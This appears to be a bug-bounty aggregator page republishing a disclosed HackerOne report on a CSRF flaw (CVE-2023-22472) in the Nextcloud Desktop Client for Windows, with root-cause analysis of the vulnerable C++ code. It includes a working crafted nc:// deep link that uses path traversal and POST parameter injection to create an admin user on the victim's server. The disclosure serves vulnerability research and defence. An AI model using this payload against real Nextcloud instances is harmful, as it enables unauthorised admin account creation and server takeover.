Skip to content
CSRF Disclosed report Intermediate CVE-2023-22472

CSRF vulnerability in Nextcloud Desktop Client 3.6.1 on Windows when clicking malicious link

The Nextcloud Desktop Client on Windows failed to encode a token and a relative file path when constructing a request, allowing an attacker to craft a malicious deep link that, when clicked, sends an arbitrary POST request to the server. This could create a new admin user on the victim's Nextcloud instance.

lukasreschke Follow

Originally disclosed on HackerOne

Medium 5.3 View original
  • Triaged in 2 hours
  • Fixed in 2 months
  • Paid in 3 months
  • Disclosed after 3 months

Summary by the program

Security advisory at https://github.com/nextcloud/security-advisories/security/advisories/GHSA-4gfv-xqpx-42qj

The report

Summary

It is possible to make a user send any POST request with an arbitrary body given they click on a malicious deep link. (e.g. in an email, chat link, etc)

This vulnerability was introduced in an attempt to fix #1720043. The patch however can be bypassed and also introduced a CSRF vulnerability.

Steps To Reproduce:

The following reproduction steps send a OCS API request to the /ocs/v1.php/cloud/users endpoint with the following post body: path=/.\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&[email protected]&groups[]=admin&\..\.owncloudsync.log. If the victim is not an administrator, one would need to target another controller.

  1. Open the following deeplink on a Windows machine with the Nextcloud Desktop Client installed. Make sure to adjust the victim username and instance URL: nc://open/[email protected]/.\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&[email protected]&groups[]=admin&\..\.owncloudsync.log?token=../../../../../../../ocs/v1.php/cloud/users
  2. Verify that a user called "hacker" is created on the instance and added to the admin group.

Root cause

The attempt to fix #1720043 was done with https://github.com/nextcloud/desktop/pull/5055 and introduced the following code:

C++
    const auto checkTokenForEditLocally = new SimpleApiJob(accountFound->account(), QStringLiteral("/ocs/v2.php/apps/files/api/v1/openlocaleditor/%1").arg(token));
    checkTokenForEditLocally->setVerb(SimpleApiJob::Verb::Post);
    checkTokenForEditLocally->setBody(QByteArray{"path=/"}.append(relPath.toUtf8()));

There are two vulnerabilities here that can be chained together:

  • Token is not encoded:token is concatenated directly into the URL and not properly encoded. Passing a token such like ?token=../../../../../../../ocs/v1.php/cloud/users will make the request therefore go to /ocs/v2.php/apps/files/api/v1/openlocaleditor/../../../../../../../ocs/v1.php/cloud/users which means /ocs/v1.php/cloud/users.
  • Relative file path is not encoded: relPath is concatenated directly into the POST body and not properly encoded. Passing a path such as .\&userid=hacker&password=h4ck3rPassw0Rd!&displayName=hacker&[email protected]&groups[]=admin&\..\.owncloudsync.log will therefore create several request POST parameters. (Note: ./owncloudsync.log is a default file which I use here to ensure the file exists check earlier in the code works)

Supporting Material/References:

  • Screenshot of the request: F1992646
  • Screenshot of the created user: F1992654

Disclosure Policy

Please note that all bugs reported by Authentick GmbH will be publicly disclosed within 90 days of vendor notification. In extraordinary cases we may increase that upon request by the vendor.

Impact

It is possible to make a user send any POST request with an arbitrary body given they click on a malicious deep link. (e.g. in an email, chat link, etc)

Attachments

exploit-request.jpg
exploit-request.jpg From the original on HackerOne
created-user.png
created-user.png

The original report as published on HackerOne, by lukasreschke. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the token and relative file path were concatenated into the request URL and body without proper encoding, allowing path traversal and parameter injection.

What the attacker needed

Nextcloud Desktop Client on Windows; victim clicks a malicious deep link; victim is an administrator (or target another controller)

How it was found

  1. Open a crafted nc:// deep link on a Windows machine with the Nextcloud Desktop Client installed, adjusting the victim username and instance URL.
  2. Verify that a user called "hacker" is created on the instance and added to the admin group.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A deep link is a special URL that opens a desktop app instead of a web page. The app took parts of the link and put them directly into a web request without cleaning them up, so an attacker could hide extra instructions in the link. When the victim clicked it, the app sent a request that created a new admin account on their Nextcloud server.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by lukasreschke

View all

19 more disclosed reports, best first.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.